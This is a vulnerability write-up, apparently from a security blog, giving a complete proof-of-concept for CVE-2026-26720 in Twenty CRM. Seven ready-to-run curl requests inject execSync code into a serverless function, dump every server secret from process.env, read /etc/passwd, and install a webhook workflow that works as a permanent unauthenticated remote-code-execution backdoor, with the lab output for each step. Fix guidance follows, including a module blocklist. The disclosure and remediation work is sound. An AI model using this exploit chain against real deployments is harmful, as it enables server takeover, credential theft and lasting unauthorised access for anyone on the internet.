Security

Twenty CRM Serverless Functions Expose Critical RCE and Permanent Unauthenticated Backdoor Risk (CVE-2026-26720) - PoC & Exploit

A technical breakdown of CVE-2026-26720, a CVSS 9.8 Critical authenticated Remote Code Execution vulnerability in Twenty CRM (≤ v1.15.0). Any workspace member can create and execute serverless functions that run unsandboxed with full access to process.env, leaking APP_SECRET, PG_DATABASE_URL, and all server-side credentials. When combined with webhook-triggered workflows exposed via PublicEndpointGuard, a single authenticated attacker can install a permanent unauthenticated RCE backdoor accessible from anywhere on the internet.

Wed 15 April 2026

Exploit CVE-2026-26720

Authenticated RCE via Unsandboxed Serverless Functions → Permanent Unauthenticated Backdoor

March 3, 2026 · CVSS 9.8 Critical · Twenty CRM ≤ v1.15.0

CVE ID CVSS Affected Fixed
CVE-2026-26720 9.8 Critical Twenty CRM ≤ v1.15.0 Twenty CRM v1.15.1

Twenty CRM is an open-source CRM platform with 28k+ GitHub stars and a managed cloud offering. It lets workspace members create "serverless functions" — custom TypeScript code that runs on the server. The problem: these functions execute in a bare child_process.spawn() with no sandbox, no code restrictions, and full inheritance of the parent process environment. What follows is a breakdown of how any authenticated user — including a freshly self-registered account on the cloud — can achieve full server-side RCE, exfiltrate every secret on the server, and install a permanent backdoor that requires zero authentication to trigger.

CVE-2026-26720 Executive Summary: Unsandboxed Serverless Function Execution

CVE-2026-26720 is a chain of three vulnerabilities in Twenty CRM that together produce a CVSS 9.8 Critical impact:

  1. Unsandboxed Code Execution — Serverless functions run via spawn(process.execPath, ...) with { ...process.env, ...env }, giving user-supplied code full access to child_process, fs, net, and every server environment variable (APP_SECRET, PG_DATABASE_URL, REDIS_URL).

  2. No Code Validation — The updateOneServerlessFunction mutation accepts arbitrary TypeScript code with zero static analysis, AST restrictions, or module import blocklists. execSync, spawn, fs.readFileSync — all permitted.

  3. Unauthenticated Webhook Endpoint — The POST /webhooks/workflows/:workspaceId/:workflowId endpoint is guarded by PublicEndpointGuard and NoPermissionGuard, both of which unconditionally return true. Once an attacker wires a malicious serverless function to a webhook-triggered workflow, any HTTP client on the internet can trigger it with zero credentials forever.

Impact: Full remote code execution. Any workspace member (including self-registered cloud accounts) can exfiltrate all server secrets, access the database directly, read/write the filesystem, and install a permanent unauthenticated backdoor — all through intended product features with zero exploit complexity.

Vulnerability #1: Unsandboxed Code Execution with Full Environment Inheritance

The Sink — local.driver.ts line 288

The core vulnerability is in the serverless function execution engine. When a function is executed, the LocalDriver spawns a child Node.js process:

// packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts

const child = spawn(process.execPath, [runnerPath], {
  env: { ...process.env, ...env },    // ALL server secrets passed to child
  stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});

process.env is spread directly into the child process environment. This means every secret available to the Twenty server process — APP_SECRET, PG_DATABASE_URL, REDIS_URL, cloud provider credentials, SMTP passwords — is accessible to user-supplied code via process.env.

There is no sandbox. No vm2, no isolated-vm, no Docker container, no restrictive seccomp profile. The child process runs as the same OS user as the server, with the same filesystem access, the same network access, and the same credentials.

No Import Restrictions

The updateOneServerlessFunction mutation accepts arbitrary TypeScript code and compiles it without restriction:

// packages/twenty-server/src/engine/metadata-modules/serverless-function/serverless-function.resolver.ts

@Mutation(() => ServerlessFunctionDTO)
@UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS))
async updateOneServerlessFunction(
  @Args('input') input: UpdateServerlessFunctionInput,
  @AuthWorkspace() { id: workspaceId }: WorkspaceEntity,
) {
  return await this.serverlessFunctionService.updateOneServerlessFunction(
    input,       // <-- attacker-controlled code, no validation
    workspaceId,
  );
}

The guard is SettingsPermissionGuard(PermissionFlagType.WORKFLOWS) — any workspace member with the WORKFLOWS permission (granted by default to all members) can create and execute arbitrary code on the server. There is no AST analysis, no blocklist of dangerous modules (child_process, fs, net, os), and no content-security restriction.

Environment Leakage Path

        Authenticated user
                      |
        createOneServerlessFunction (GraphQL mutation)
                      |
        updateOneServerlessFunction (inject code: execSync("id"))
                      |
        executeOneServerlessFunction (GraphQL mutation)
                      |
        serverlessFunctionService.execute()
                      |
        LocalDriver.execute()
                      |
        LocalDriver.runChildWithEnv()
                      |
        spawn(process.execPath, [runnerPath], { env: { ...process.env } })
                      |
        User code runs with ALL server secrets in process.env
                      |
        RCE + full secret exfiltration

Vulnerability #2: Permanent Unauthenticated Backdoor via Webhook Endpoint

The Entry Point — No Authentication at Any Layer

The webhook trigger controller exposes workflow execution to the internet with zero authentication:

// packages/twenty-server/src/engine/core-modules/workflow/controllers/workflow-trigger.controller.ts

@Controller('webhooks')
export class WorkflowTriggerController {

  @Post('workflows/:workspaceId/:workflowId')
  @UseGuards(PublicEndpointGuard, NoPermissionGuard)   // NO AUTH
  async runWorkflowByPostRequest(
    @Param('workspaceId') workspaceId: string,
    @Param('workflowId') workflowId: string,
    @Req() request: Request,
  ) {
    return await this.runWorkflow({
      workflowId,
      payload: request.body || {},
      workspaceId,
    });
  }
}

Both guards unconditionally return true:

// packages/twenty-server/src/engine/guards/public-endpoint.guard.ts

@Injectable()
export class PublicEndpointGuard implements CanActivate {
  canActivate(_context: ExecutionContext): boolean {
    return true;   // Always allow access
  }
}
// packages/twenty-server/src/engine/guards/no-permission.guard.ts

@Injectable()
export class NoPermissionGuard implements CanActivate {
  canActivate(_context: ExecutionContext): boolean {
    return true;   // No permission checks
  }
}

No token. No signature. No IP allowlist. No rate limiting on the webhook endpoint. Once an authenticated user creates a webhook-triggered workflow pointing to a malicious serverless function, the resulting URL is a permanent unauthenticated RCE endpoint:

POST /webhooks/workflows/<workspaceId>/<workflowId>

Additional Unauthenticated Vector: RouteTriggerController

A second unauthenticated controller exposes the same risk surface:

// packages/twenty-server/src/engine/metadata-modules/route-trigger/route-trigger.controller.ts

@Controller('s')
@UseGuards(PublicEndpointGuard, NoPermissionGuard)   // NO AUTH on entire controller
export class RouteTriggerController {
  @Post('*path')
  async post(@Req() request: Request) {
    return await this.routeTriggerService.handle({
      request, httpMethod: HTTPMethod.POST,
    });
  }
}

If a RouteTrigger exists with isAuthRequired: false, any HTTP request to /s/<path> directly executes the linked serverless function with zero authentication.

CVE-2026-26720 Proof-of-Concept: Full Remote Code Execution

The complete attack chain — from authenticated workspace member to full server compromise and permanent unauthenticated backdoor — requires 7 HTTP requests. Every step was confirmed against Twenty CRM v1.15.0 in a controlled lab environment.

Lab Setup

Twenty CRM v1.15.0 running locally with default configuration:

# docker-compose equivalent
services:
  twenty-server:
    image: twentycrm/twenty:v1.15.0
    ports:
      - "3000:3000"     # API
      - "3001:3001"     # Frontend
    environment:
      APP_SECRET: "replace_me_with_a_random_string"
      PG_DATABASE_URL: "postgres://postgres:postgres@localhost:5432/default"
      REDIS_URL: "redis://localhost:6379"

Prerequisites

A valid workspace member account. On Twenty Cloud, this is any registered user. On self-hosted, any invited member. The JWT token used below belongs to user tim@apple.dev in workspace 2782b9df-....

Step 1: Create Serverless Function (Authenticated)

curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{
    "query": "mutation CreateFn($input: CreateServerlessFunctionInput!) {
      createOneServerlessFunction(input: $input) { id name }
    }",
    "variables": { "input": { "name": "pwn-rce" } }
  }'
{
  "data": {
    "createOneServerlessFunction": {
      "id": "679110bc-1536-4349-82c7-2a5706cc6a49",
      "name": "pwn-rce"
    }
  }
}

Step 2: Inject Malicious Code (Authenticated)

The injected code imports child_process.execSync and dumps the full server environment:

import { execSync } from 'child_process';

export const main = async (params: any): Promise<object> => {
  const cmd = params?.command ?? 'id && hostname';
  const out = execSync(String(cmd)).toString();
  const env = JSON.stringify(process.env);
  return { out, env };
};
curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{
    "query": "mutation UpdateFn($input: UpdateServerlessFunctionInput!) {
      updateOneServerlessFunction(input: $input) { id name }
    }",
    "variables": {
      "input": {
        "id": "679110bc-1536-4349-82c7-2a5706cc6a49",
        "update": {
          "name": "pwn-rce",
          "code": {
            "src/index.ts": "import { execSync } from '\''child_process'\'';\nexport const main = async (params: any): Promise<object> => {\n  const cmd = params?.command ?? '\''id && hostname'\'';\n  const out = execSync(String(cmd)).toString();\n  const env = JSON.stringify(process.env);\n  return { out, env };\n};"
          }
        }
      }
    }
  }'
{
  "data": {
    "updateOneServerlessFunction": {
      "id": "679110bc-1536-4349-82c7-2a5706cc6a49",
      "name": "pwn-rce"
    }
  }
}

No validation. No AST check. No blocked imports. The code is accepted and stored as-is.

Step 3: Execute — Authenticated RCE Confirmed

curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{
    "query": "mutation ExecFn($input: ExecuteServerlessFunctionInput!) {
      executeOneServerlessFunction(input: $input) { data logs status error }
    }",
    "variables": {
      "input": {
        "id": "679110bc-1536-4349-82c7-2a5706cc6a49",
        "payload": { "command": "id && hostname && cat /etc/passwd | head -5" },
        "version": "draft"
      }
    }
  }'

Response — data.out (OS command output):

uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Response — data.env (all server secrets exfiltrated):

{
  "APP_SECRET": "replace_me_with_a_random_string",
  "PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
  "REDIS_URL": "redis://localhost:6379"
}

Authenticated RCE confirmed — full command execution and complete server environment exfiltration. Any workspace member with WORKFLOWS permission (default for all members) can execute this.

Step 4-6: Install Permanent Unauthenticated Backdoor

With authenticated access, the attacker now creates a webhook-triggered workflow wired to the malicious serverless function:

Step 4 — Create workflow + set WEBHOOK trigger:

# Create workflow
curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{"query": "mutation { createWorkflow(data: { name: \"pwn-webhook\" }) { id name } }"}'
{"data":{"createWorkflow":{"id":"52ecef24-026d-48b0-a64b-8276570e25dd","name":"pwn-webhook"}}}

Step 5 — Add CODE step pointing to malicious function, wire trigger, publish function:

# Publish serverless function
curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{"query": "mutation { publishServerlessFunction(input: { id: \"679110bc-1536-4349-82c7-2a5706cc6a49\" }) { id publishedVersions } }"}'
{"data":{"publishServerlessFunction":{"id":"679110bc-1536-4349-82c7-2a5706cc6a49","publishedVersions":["1"]}}}

The workflow version is configured with a WEBHOOK trigger type, a CODE step referencing the malicious function, and an edge wiring trigger → step.

Step 6 — Activate workflow:

curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{"query": "mutation { activateWorkflowVersion(workflowVersionId: \"b4c8976f-dcb8-47ab-af50-2d20414577e6\") }"}'
{"data":{"activateWorkflowVersion":true}}

Step 7: Unauthenticated RCE — Zero Credentials Required

The backdoor is now permanently active. Any HTTP client on the internet can trigger it:

# NO Authorization header — completely unauthenticated
curl -s -X POST \
  "http://localhost:3000/webhooks/workflows/2782b9df-4dd8-4deb-9f81-e60020b6d78f/52ecef24-026d-48b0-a64b-8276570e25dd" \
  -H "Content-Type: application/json" \
  -d '{"command": "id && whoami && cat /etc/passwd | head -5"}'

Immediate response (no auth check):

{
  "workflowName": "pwn-webhook",
  "success": true,
  "workflowRunId": "ccdfb94d-1566-44f2-a5ce-ab0222fffab3"
}

Workflow run result (from server logs / database):

uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Server secrets (same full dump — all exfiltrated via unauthenticated request):

{
  "APP_SECRET": "replace_me_with_a_random_string",
  "PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
  "REDIS_URL": "redis://localhost:6379"
}

Full command execution achieved — zero authentication required. The webhook URL is a permanent backdoor: no token, no signature, no expiry. Once created, it persists until the workflow is manually deleted.

Attack Surface Analysis

Who Can Exploit This?

Deployment Initial Access Exploit?
Self-hosted (multi-workspace) Any registered user Yes — full server compromise
Self-hosted (single-workspace) Any invited workspace member Yes — privilege escalation from member to full server control

Impact Chain

Workspace member (low privilege)
        ↓
Create serverless function        ← intended feature, no exploit needed
        ↓
Inject execSync / spawn code      ← no validation, no sandbox
        ↓
Execute function                  ← runs as server user, inherits process.env
        ↓
Exfiltrate APP_SECRET,            ← full secret dump
PG_DATABASE_URL, REDIS_URL
        ↓
Direct database access            ← read/modify all workspaces, all tenants
        ↓
Create webhook workflow           ← permanent unauthenticated backdoor
        ↓
Any internet client fires webhook ← zero auth, zero credentials, forever

How to Fix CVE-2026-26720

Three independent fixes are required to fully remediate this vulnerability chain:

Fix 1: Sandbox Serverless Function Execution

The serverless function runtime must be isolated from the host process. The child process should never inherit the parent's environment variables.

// BEFORE (vulnerable): full environment inheritance
const child = spawn(process.execPath, [runnerPath], {
  env: { ...process.env, ...env },   // ALL server secrets leaked
  stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});

// AFTER (fixed): isolated environment — only explicit variables
const child = spawn(process.execPath, [runnerPath], {
  env: {
    NODE_PATH: process.env.NODE_PATH,
    PATH: process.env.PATH,
    ...env,                           // only workspace-specific vars
  },
  stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});

For defense in depth, execute functions in an isolated container (Docker/gVisor/Firecracker) with:

  • Read-only filesystem (except /tmp)
  • No network access to internal services
  • CPU/memory limits
  • Separate unprivileged user

Fix 2: Validate Serverless Function Code

Implement a blocklist or allowlist for Node.js module imports before compilation:

const BLOCKED_MODULES = [
  'child_process', 'cluster', 'dgram', 'dns', 'net',
  'tls', 'vm', 'worker_threads', 'fs', 'os',
];

// Parse AST and reject any import/require of blocked modules

Fix 3: Authenticate Webhook Endpoints

The webhook trigger endpoint must require authentication — at minimum a per-workflow HMAC signature:

// BEFORE (vulnerable): no authentication
@UseGuards(PublicEndpointGuard, NoPermissionGuard)

// AFTER (fixed): require webhook signature
@UseGuards(WebhookSignatureGuard)
async runWorkflowByPostRequest(...)

Each webhook-triggered workflow should have a unique secret, and incoming requests must include a valid X-Webhook-Signature header. Requests without a valid signature must be rejected with 401.

CVE-2026-26720 Mitigation and Best Practices

  • Update Immediately when a patched version is released. Monitor the Twenty CRM GitHub repository and changelog.
  • Restrict Serverless Functions — If your deployment does not require custom serverless functions, disable the feature entirely or restrict the WORKFLOWS permission to admin-only.
  • Audit Existing Functions — Review all serverless functions in your workspace for suspicious imports (child_process, fs, net). Check _metadata.serverlessFunction table in your workspace schema.
  • Firewall Webhook Endpoints — Block external access to /webhooks/workflows/* and /s/* at the reverse proxy level until a fix is available.
  • Rotate Secrets — If your instance has been publicly accessible with serverless functions enabled, assume all environment variables have been compromised. Rotate APP_SECRET, database credentials, Redis credentials, SMTP passwords, and any API keys.
  • Monitor Workflow Activity — Audit the workflowRun table for unexpected executions, especially those with source: WEBHOOK and no corresponding legitimate integration.

References

Resource Link
Twenty CRM GitHub https://github.com/twentyhq/twenty
Twenty CRM v1.15.0 Release https://github.com/twentyhq/twenty/releases/tag/v1.15.0
NestJS Guards Documentation https://docs.nestjs.com/guards
OWASP — Injection https://owasp.org/Top10/A03_2021-Injection/
CWE-94: Code Injection https://cwe.mitre.org/data/definitions/94.html
CWE-250: Execution with Unnecessary Privileges https://cwe.mitre.org/data/definitions/250.html

Table of Contents